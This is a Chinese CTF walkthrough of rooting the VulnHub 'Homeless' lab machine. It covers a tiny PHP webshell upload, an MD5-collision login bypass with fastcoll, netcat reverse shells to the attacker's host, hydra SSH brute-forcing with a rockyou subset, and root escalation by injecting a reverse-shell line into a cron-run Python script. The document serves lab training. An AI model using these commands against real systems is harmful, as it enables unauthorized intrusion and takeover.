本次靶机难度中等,还是长了很多见识,值得学习
下载Homeless靶机:https://download.vulnhub.com/homeless/Homeless.zip
这里我用 virtual box 打开
主机:kali linux 192.168.100.8
靶机 : Homeless靶机
辅助:windows 192.168.100.9
目标:拿下靶机root权限和里面的flag
1.确定靶机ip (我是将靶机的网络模式改成nat模式,共享主机的ip,让靶机和主机在同一网段下)
扫描同网段下其余存活主机:
netdiscover -r 192.168.100.0/24
这里192.168.100.11就是目标靶机
然后用nmap对靶机的进行端口扫描
nmap -p 1-65535 192.168.100.11
只开了22 和80端口
我们先从web下手
整个页面都是鸡汤,源代码里面有提示信息
扫描目录,有个robots.txt也有点提示信息
在页面上出现了agaent头部信息
那么我们试着抓包改包看看
可以看到成功将我们上传的User-Agent打印了出来
但是好像没什么其他返回,猜测是验证了我们上传的User-Agent,如果不是它想要的,就直接打印出来
所以我们需要找到一个它需要的User-Agent上传
讲真的这个靶机真的要胆大心细。
看下这个提示,仔细检查。
在网页源码这个位置有一个图片,但是在页面上也没有显示出来,这个应该也是个线索
我们需要在agaent字段填上这个图片的字段 “Cyberdog Sledding Portal”(感觉真的挺坑的,而且图片也很小,看不清)
然后我们访问下http://192.168.100.11/myuploader_priv/
发现是一个上传点那么我们尝试上传webshell
发现对文件大小有限制
经过一番测试,发现以下信息:
可以上传任意后缀文件
文件大小必须小于8bytes
新上传的文件会覆盖之前上传的文件
我们必须构造一个足够小的php文件
构造如下代码写入jlzj.php
=`ls`; #这句代码在php里等同于 ,是这段代码的缩写
刚好8字节
发现上传成功,并且路径也暴露出来为/files/shell.php
然后我们访问下http://192.168.100.11/myuploader_priv/files/shell.php
可以看到有一个可疑txt文件,访问看看
发现一行密文,各种解密解不出来,我真傻,都提示我是ip/d5fa314e8577e3a7b8534a014b4dcb221de823ad
一个登陆页面,毫无操作空间,突然看到右上角need Hint,点击就会下载这个页面的源码
是登录页面的后台代码,看来需要思考思考如何绕过
重点在于这里
要求我们POST的username,password,code值不能相同,但是md5必须类型和值都相等才能重定向到admin.php
说到这里,大家可能想到ctf里常用的md5 compare漏洞,但是注意,这里是全等(===),相信大家都知道==
与===
的区别,全等于会检查类型和值。
所以会比较md5(username),md5(password),md5(code)类型和值,双等于存在漏洞的原因其实是,0E开头的MD5值php解析器会解析为numerical strings,在双等于(==)情况下,会先判断类型,识别为numerical strings,会强制转换为数字,所以0e开头的MD5值都为0,所以才能绕过,然而三等于就比较有脾气了,必须一对一的核对两个字符串,不存在什么类型转换问题,所以开头0e相同,后面不同,也就不满足了
那这时大家肯定会说:那就用数组绕过,反正大家都解析为NULL,然而并不行
返回Your input can not be the same
说明三个值相等了,因为三个值都进行了string强制类型转换
那就没办法绕过了吗?当然有
这里使用一个md5快速碰撞工具fastcoll(下载链接附在文末),以及windows文件hash查看命令certutil -hashfile
这里我先简单演示下fastcoll用法
我们先使用fastcoll将一个notepad++.exe文件生成为另外两个不同的notepad++1.exe,notepad++2.exe
然后E盘下面就会多出notepad++1.exe 和notepad++2.exe两个文件夹
然后我们用certutil命令看下他们的md5值
但是本次实验,靶机需要的3个MD5相同的文件
而fastcoll工具只能一次性生成两个文件,只有这两个文件的MD5值相同,所以这里我们需要借助一个工具tail.exe(下载地址见文末)
我们先用fastcoll 随机生成2个md5值相同的文件
fastcoll_v1.0.0.5.exe -o jlzj0 jlzj1 #-o参数代表随机生成两个相同MD5的文件
然后我们在通过jlzj1再生成2个MD5相同的值
D:\fastcoll>fastcoll_v1.0.0.5.exe -p jlzj1 -o jlzj1to1 jlzj1to2 #-p参数代表根据jlzj1文件随机生成两个相同MD5的文件,注意:生成两个文件的MD5与jlzj1不同
我们对比下jlzj1to1 和jlzj1to2的MD5值
然后我们对比下 jlzj1to1 和jlzj1 MD5值
我们发现值是不一样的,我们用notepad++打开这2个文件看看到底区别在哪
这个是jlzj1to1的文件
这个是jlzj1的文件
但是我们这里能看到jlzj1to1 和jlzj1有个公共的部分
然后我们再jlzj1to1中选择处它比jlzj1多的部分看下它的大小
那么就说明jlzj1to1多了后面的128(256/2)位的内容。
那么接下来我们就要把 这多余的部分提取出来 跟jlzj1结合成新的文件 那么结合出来的文件MD5值就跟jlzj1to1的MD5值一样了
C:\Users\Administrator\Desktop\md5>tail.exe -c 128 jlzj1to1 > a #-c 128代表将jlzj00的最后128位写入文件a,这128位正是jlzj1to1与jlzj1的MD5不同的原因
然后我们结合下,生成新的文件
type jlzj1 a > jlzj1to3
type jlzj1 a > jlzj1to4
然后我们再查看下他们的MD5值
我们再看看jlzj1to1和jlzj1to2的MD5
这样我们就有4个MD5相同的文件了
我们用windows下的curl.exe(类似于kali curl命令,下载链接附文末)进行POST测试
curl.exe --data-urlencode username@C:\Users\Administrator\Desktop\md5\jlzj1to1 --data-urlencode password@C:\Users\Administrator\Desktop\md5\jlzj1to2 --data-urlencode code@C:\Users\Administrator\Desktop\md5\jlzj1to3 --data-urlencode "remember=1&login=Login" http://192.168.100.11/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php -i
成功跳转并拿到一个session =ipm65uvfi8v4kkuo3mk4ivtad6
我们用Cookies保存下
然后访问http://192.168.100.11/d5fa314e8577e3a7b8534a014b4dcb221de823ad/admin.php
是一个命令输入框,明摆着命令执行拿shell
看来后台未对输入做任何限制
在kali中输入命令:
nc -lvp 4444
在代码执行界面输入:
nc -e /bin/bash 192.168.100.8 4444
第一想法是内核提权,但是靶机无法使用wget以及gcc,这样就不能使用溢出漏洞提权了,再试试别的方法
我们先切换到home目录
再切到downfall
cd downfall
通过ls -la查看目录下的文件
在/home目录下看到一个隐藏文件.secret_message
用cat命令查询发现没有响应,应该是没有权限,说不定downfall才能查看
我们再用find看看还有没有其他位置还有没有文件
find / -user downfall 2>/dev/null -ls
再试试另一条
find -type f -user root -group downfall 2>/dev/null
发现一个可疑的py脚本
获取下它的详细信息
看来需要爆破downfall的密码才行
这是还记得robots.txt里面提示的rockyou字典,我们hydra爆破该用户ssh登录试试
但是rockyou的字典很大有100M,要跑字典的话需要花费很长很长的时间
可以分别文本或者多线程python脚本去跑
但是作者在vulnhub留下了提示:
密码是sec开头的,这就好办了,我们把rockyou.txt里sec开头的密码提取出来
grep '^sec.*$' /usr/share/wordlists/rockyou.txt > pass.txt
然后开始爆破
hydra -l downfall -P pass.txt -t 4 192.168.100.11 ssh
爆破成功,密码为secretlyinlove
登陆ssh
先看下.secret_message的内容
果然我们后来找到的文件也是个线索
然后还有一份email 在/var/mail/downfall(可能你看的时候没有这个信息,那么你等下一分钟在cat下)
cat /var/mail/downfall 会发现内容很长
仔细看下
会发现 每隔一分钟就会生成一次,这样就讲得通啦
那个homeless.py被设置为计划任务,每分钟执行一次,那么我们可以通过修改那个py文件提升权限
我们对 /lib/logs/homeless.py进行修改
vim /lib/logs/homeless.py
添加以下内容
os.system('/bin/nc -e /bin/bash 192.168.100.8 5555')
这样每分钟都会反弹给我们一个shell
在kali上开启nc监听,等待系统自动执行脚本,拿到root权限
nc -lvnp 5555
然后我们cd切换到root目录并且cat flag.txt文件内容
fastcoll下载链接:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
tail.exe下载链接:https://www.trisunsoft.com/tail-for-windows.htm
curl.exe下载链接:https://curl.haxx.se/windows/